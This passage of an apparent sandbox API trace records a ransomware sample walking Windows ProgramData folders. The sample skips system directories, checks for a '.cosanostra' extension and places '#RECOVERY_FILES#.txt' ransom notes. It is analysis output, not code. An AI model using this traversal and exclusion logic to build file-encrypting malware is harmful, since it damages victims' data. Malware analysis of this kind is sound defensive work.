lpFindFileData=0x2cfe868) returned 1 [0079.495] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0079.495] lstrlenW (lpString="Windows") returned 7 [0079.495] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0079.495] lstrlenW (lpString="Program Files") returned 13 [0079.495] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0079.495] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.495] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0079.495] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.495] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0079.495] lstrlenW (lpString="System Volume Information") returned 25 [0079.495] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\..") returned 51 [0079.495] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0079.495] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0079.495] StrStrIW (lpFirst="..", lpSrch=".cosanostra") returned 0x0 [0079.495] lstrcmpW (lpString1="..", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.495] lstrcmpW (lpString1="..", lpString2="_uninstalling_.png") returned -1 [0079.495] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\..") returned 51 [0079.495] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0079.496] lstrcmpiW (lpString1="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2="Windows") returned -1 [0079.496] lstrlenW (lpString="Windows") returned 7 [0079.496] lstrcmpiW (lpString1="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2="Program Files") returned -1 [0079.496] lstrlenW (lpString="Program Files") returned 13 [0079.496] lstrcmpiW (lpString1="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2="Program Files (x86)") returned -1 [0079.496] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.496] lstrcmpiW (lpString1="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2="$Recycle.bin") returned 1 [0079.496] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.496] lstrcmpiW (lpString1="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2="System Volume Information") returned -1 [0079.496] lstrlenW (lpString="System Volume Information") returned 25 [0079.496] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned 118 [0079.496] StrStrIW (lpFirst="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpSrch=".cosanostra") returned 0x0 [0079.496] lstrcmpW (lpString1="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.496] lstrcmpW (lpString1="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2="_uninstalling_.png") returned 1 [0079.496] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned 118 [0079.496] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0079.496] lstrcmpiW (lpString1="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2="Windows") returned -1 [0079.496] lstrlenW (lpString="Windows") returned 7 [0079.496] lstrcmpiW (lpString1="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2="Program Files") returned -1 [0079.496] lstrlenW (lpString="Program Files") returned 13 [0079.496] lstrcmpiW (lpString1="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2="Program Files (x86)") returned -1 [0079.496] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.496] lstrcmpiW (lpString1="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2="$Recycle.bin") returned 1 [0079.496] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.496] lstrcmpiW (lpString1="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2="System Volume Information") returned -1 [0079.496] lstrlenW (lpString="System Volume Information") returned 25 [0079.496] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned 118 [0079.496] StrStrIW (lpFirst="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpSrch=".cosanostra") returned 0x0 [0079.496] lstrcmpW (lpString1="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.496] lstrcmpW (lpString1="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2="_uninstalling_.png") returned 1 [0079.496] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned 118 [0079.497] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 0 [0079.497] FindClose (in: hFindFile=0x25a870 | out: hFindFile=0x25a870) returned 1 [0079.497] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\#RECOVERY_FILES#.txt") returned 69 [0079.497] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\#RECOVERY_FILES#.txt") returned 69 [0079.497] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0 [0079.497] FindClose (in: hFindFile=0x25a830 | out: hFindFile=0x25a830) returned 1 [0079.497] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\#RECOVERY_FILES#.txt") returned 60 [0079.497] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\#RECOVERY_FILES#.txt") returned 60 [0079.497] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0 [0079.497] FindClose (in: hFindFile=0x25a7f0 | out: hFindFile=0x25a7f0) returned 1 [0079.497] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\#RECOVERY_FILES#.txt") returned 56 [0079.497] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\#RECOVERY_FILES#.txt") returned 56 [0079.498] FindNextFileW (in: hFindFile=0x25a7b0, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0079.498] lstrcmpiW (lpString1="Device Stage", lpString2="Windows") returned -1 [0079.498] lstrlenW (lpString="Windows") returned 7 [0079.498] lstrcmpiW (lpString1="Device Stage", lpString2="Program Files") returned -1 [0079.498] lstrlenW (lpString="Program Files") returned 13 [0079.498] lstrcmpiW (lpString1="Device Stage", lpString2="Program Files (x86)") returned -1 [0079.498] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.498] lstrcmpiW (lpString1="Device Stage", lpString2="$Recycle.bin") returned 1 [0079.498] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.498] lstrcmpiW (lpString1="Device Stage", lpString2="System Volume Information") returned -1 [0079.498] lstrlenW (lpString="System Volume Information") returned 25 [0079.498] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage") returned 41 [0079.498] lstrcmpW (lpString1="Device Stage", lpString2=".") returned 1 [0079.498] lstrcmpW (lpString1="Device Stage", lpString2="..") returned 1 [0079.499] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\*") returned 43 [0079.499] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\*", lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0x25a7f0 [0079.499] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0079.499] lstrlenW (lpString="Windows") returned 7 [0079.499] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0079.499] lstrlenW (lpString="Program Files") returned 13 [0079.499] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0079.499] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.499] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0079.499] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.499] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0079.499] lstrlenW (lpString="System Volume Information") returned 25 [0079.499] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\.") returned 43 [0079.499] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0079.499] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0079.500] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0079.500] lstrlenW (lpString="Windows") returned 7 [0079.500] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0079.500] lstrlenW (lpString="Program Files") returned 13 [0079.500] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0079.500] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.500] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0079.500] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.500] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0079.500] lstrlenW (lpString="System Volume Information") returned 25 [0079.500] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\..") returned 44 [0079.500] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0079.500] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0079.500] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0079.500] lstrcmpiW (lpString1="Device", lpString2="Windows") returned -1 [0079.500] lstrlenW (lpString="Windows") returned 7 [0079.500] lstrcmpiW (lpString1="Device", lpString2="Program Files") returned -1 [0079.500] lstrlenW (lpString="Program Files") returned 13 [0079.500] lstrcmpiW (lpString1="Device", lpString2="Program Files (x86)") returned -1 [0079.500] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.500] lstrcmpiW (lpString1="Device", lpString2="$Recycle.bin") returned 1 [0079.500] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.500] lstrcmpiW (lpString1="Device", lpString2="System Volume Information") returned -1 [0079.500] lstrlenW (lpString="System Volume Information") returned 25 [0079.500] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device") returned 48 [0079.500] lstrcmpW (lpString1="Device", lpString2=".") returned 1 [0079.500] lstrcmpW (lpString1="Device", lpString2="..") returned 1 [0079.501] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\*") returned 50 [0079.501] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\*", lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0x25a830 [0079.502] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0079.502] lstrlenW (lpString="Windows") returned 7 [0079.502] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0079.502] lstrlenW (lpString="Program Files") returned 13 [0079.502] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0079.503] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.503] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0079.503] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.503] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0079.503] lstrlenW (lpString="System Volume Information") returned 25 [0079.503] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\.") returned 50 [0079.503] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0079.503] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0079.503] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0079.503] lstrlenW (lpString="Windows") returned 7 [0079.503] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0079.503] lstrlenW (lpString="Program Files") returned 13 [0079.503] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0079.503] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.503] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0079.503] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.503] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0079.503] lstrlenW (lpString="System Volume Information") returned 25 [0079.503] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\..") returned 51 [0079.503] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0079.503] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0079.503] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0079.503] lstrcmpiW (lpString1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpString2="Windows") returned -1 [0079.503] lstrlenW (lpString="Windows") returned 7 [0079.503] lstrcmpiW (lpString1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpString2="Program Files") returned -1 [0079.503] lstrlenW (lpString="Program Files") returned 13 [0079.503] lstrcmpiW (lpString1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpString2="Program Files (x86)") returned -1 [0079.503] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.503] lstrcmpiW (lpString1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpString2="$Recycle.bin") returned 1 [0079.504] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.504] lstrcmpiW (lpString1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpString2="System Volume Information") returned -1 [0079.504] lstrlenW (lpString="System Volume Information") returned 25 [0079.504] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned 87 [0079.504] lstrcmpW (lpString1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpString2=".") returned 1 [0079.504] lstrcmpW (lpString1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpString2="..") returned 1 [0079.504] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\*") returned 89 [0079.504] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\*", lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 0x25a870 [0079.695] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0079.695] lstrlenW (lpString="Windows") returned 7 [0079.695] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0079.695] lstrlenW (lpString="Program Files") returned 13 [0079.695] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0079.695] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.695] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0079.695] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.695] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0079.695] lstrlenW (lpString="System Volume Information") returned 25 [0079.695] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\.") returned 89 [0079.695] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0079.695] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0079.695] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0079.695] lstrlenW (lpString="Windows") returned 7 [0079.695] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0079.695] lstrlenW (lpString="Program Files") returned 13 [0079.695] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0079.695] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.695] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0079.695] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.696] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0079.696] lstrlenW (lpString="System Volume Information") returned 25 [0079.696] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\..") returned 90 [0079.696] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0079.696] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0079.696] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0079.696] lstrcmpiW (lpString1="background.png", lpString2="Windows") returned -1 [0079.696] lstrlenW (lpString="Windows") returned 7 [0079.696] lstrcmpiW (lpString1="background.png", lpString2="Program Files") returned -1 [0079.696] lstrlenW (lpString="Program Files") returned 13 [0079.696] lstrcmpiW (lpString1="background.png", lpString2="Program Files (x86)") returned -1 [0079.696] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.696] lstrcmpiW (lpString1="background.png", lpString2="$Recycle.bin") returned 1 [0079.696] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.696] lstrcmpiW (lpString1="background.png", lpString2="System Volume Information") returned -1 [0079.696] lstrlenW (lpString="System Volume Information") returned 25 [0079.696] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png") returned 102 [0079.696] StrStrIW (lpFirst="background.png", lpSrch=".cosanostra") returned 0x0 [0079.696] lstrcmpW (lpString1="background.png", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.696] lstrcmpW (lpString1="background.png", lpString2="_uninstalling_.png") returned 1 [0079.696] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png") returned 102 [0079.696] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0079.696] lstrcmpiW (lpString1="behavior.xml", lpString2="Windows") returned -1 [0079.696] lstrlenW (lpString="Windows") returned 7 [0079.696] lstrcmpiW (lpString1="behavior.xml", lpString2="Program Files") returned -1 [0079.696] lstrlenW (lpString="Program Files") returned 13 [0079.696] lstrcmpiW (lpString1="behavior.xml", lpString2="Program Files (x86)") returned -1 [0079.696] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.696] lstrcmpiW (lpString1="behavior.xml", lpString2="$Recycle.bin") returned 1 [0079.696] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.696] lstrcmpiW (lpString1="behavior.xml", lpString2="System Volume Information") returned -1 [0079.696] lstrlenW (lpString="System Volume Information") returned 25 [0079.696] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml") returned 100 [0079.696] StrStrIW (lpFirst="behavior.xml", lpSrch=".cosanostra") returned 0x0 [0079.696] lstrcmpW (lpString1="behavior.xml", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.696] lstrcmpW (lpString1="behavior.xml", lpString2="_uninstalling_.png") returned 1 [0079.696] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml") returned 100 [0079.696] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0079.696] lstrcmpiW (lpString1="device.png", lpString2="Windows") returned -1 [0079.696] lstrlenW (lpString="Windows") returned 7 [0079.696] lstrcmpiW (lpString1="device.png", lpString2="Program Files") returned -1 [0079.696] lstrlenW (lpString="Program Files") returned 13 [0079.696] lstrcmpiW (lpString1="device.png", lpString2="Program Files (x86)") returned -1 [0079.696] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.696] lstrcmpiW (lpString1="device.png", lpString2="$Recycle.bin") returned 1 [0079.696] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.696] lstrcmpiW (lpString1="device.png", lpString2="System Volume Information") returned -1 [0079.696] lstrlenW (lpString="System Volume Information") returned 25 [0079.696] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png") returned 98 [0079.696] StrStrIW (lpFirst="device.png", lpSrch=".cosanostra") returned 0x0 [0079.696] lstrcmpW (lpString1="device.png", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.697] lstrcmpW (lpString1="device.png", lpString2="_uninstalling_.png") returned 1 [0079.697] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png") returned 98 [0079.697] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0079.697] lstrcmpiW (lpString1="overlay.png", lpString2="Windows") returned -1 [0079.697] lstrlenW (lpString="Windows") returned 7 [0079.697] lstrcmpiW (lpString1="overlay.png", lpString2="Program Files") returned -1 [0079.697] lstrlenW (lpString="Program Files") returned 13 [0079.697] lstrcmpiW (lpString1="overlay.png", lpString2="Program Files (x86)") returned -1 [0079.697] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.697] lstrcmpiW (lpString1="overlay.png", lpString2="$Recycle.bin") returned 1 [0079.697] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.697] lstrcmpiW (lpString1="overlay.png", lpString2="System Volume Information") returned -1 [0079.697] lstrlenW (lpString="System Volume Information") returned 25 [0079.697] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png") returned 99 [0079.697] StrStrIW (lpFirst="overlay.png", lpSrch=".cosanostra") returned 0x0 [0079.697] lstrcmpW (lpString1="overlay.png", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.697] lstrcmpW (lpString1="overlay.png", lpString2="_uninstalling_.png") returned 1 [0079.697] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png") returned 99 [0079.697] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0079.697] lstrcmpiW (lpString1="superbar.png", lpString2="Windows") returned -1 [0079.697] lstrlenW (lpString="Windows") returned 7 [0079.697] lstrcmpiW (lpString1="superbar.png", lpString2="Program Files") returned 1 [0079.697] lstrlenW (lpString="Program Files") returned 13 [0079.697] lstrcmpiW (lpString1="superbar.png", lpString2="Program Files (x86)") returned 1 [0079.697] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.697] lstrcmpiW (lpString1="superbar.png", lpString2="$Recycle.bin") returned 1 [0079.697] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.697] lstrcmpiW (lpString1="superbar.png", lpString2="System Volume Information") returned -1 [0079.697] lstrlenW (lpString="System Volume Information") returned 25 [0079.697] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png") returned 100 [0079.697] StrStrIW (lpFirst="superbar.png", lpSrch=".cosanostra") returned 0x0 [0079.697] lstrcmpW (lpString1="superbar.png", lpString2="#RECOVERY_FILES#.txt") returned 1 [0079.697] lstrcmpW (lpString1="superbar.png", lpString2="_uninstalling_.png") returned 1 [0079.697] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png") returned 100 [0079.697] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 0 [0079.697] FindClose (in: hFindFile=0x25a870 | out: hFindFile=0x25a870) returned 1 [0079.698] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\#RECOVERY_FILES#.txt") returned 108 [0079.698] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\#RECOVERY_FILES#.txt") returned 108 [0079.699] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0079.699] lstrcmpiW (lpString1="{8702d817-5aad-4674-9ef3-4d3decd87120}", lpString2="Windows") returned -1 [0079.699] lstrlenW (lpString="Windows") returned 7 [0079.699] lstrcmpiW (lpString1="{8702d817-5aad-4674-9ef3-4d3decd87120}", lpString2="Program Files") returned -1 [0079.699] lstrlenW (lpString="Program Files") returned 13 [0079.699] lstrcmpiW (lpString1="{8702d817-5aad-4674-9ef3-4d3decd87120}", lpString2="Program Files (x86)") returned -1 [0079.699] lstrlenW (lpString="Program Files (x86)") returned 19 [0079.699] lstrcmpiW (lpString1="{8702d817-5aad-4674-9ef3-4d3decd87120}", lpString2="$Recycle.bin") returned 1 [0079.699] lstrlenW (lpString="$Recycle.bin") returned 12 [0079.699] lstrcmpiW (lpString1="{8702d817-5aad-4674-9ef3-4d3decd87120}", lpString2="System Volume Information") returned -1 [0079.699] lstrlenW (lpString="System Volume Information") returned 25 [0079.699] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}") returned 87 [0079.699] lstrcmpW (lpString1="{8702d817-5aad-4674-9ef3-4d3decd87120}", lpString2=".") returned 1 [0079.699] lstrcmpW (lpString1="{8702d817-5aad-4674-9ef3-4d3decd87120}", lpString2="..") returned 1 [0079.699] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device 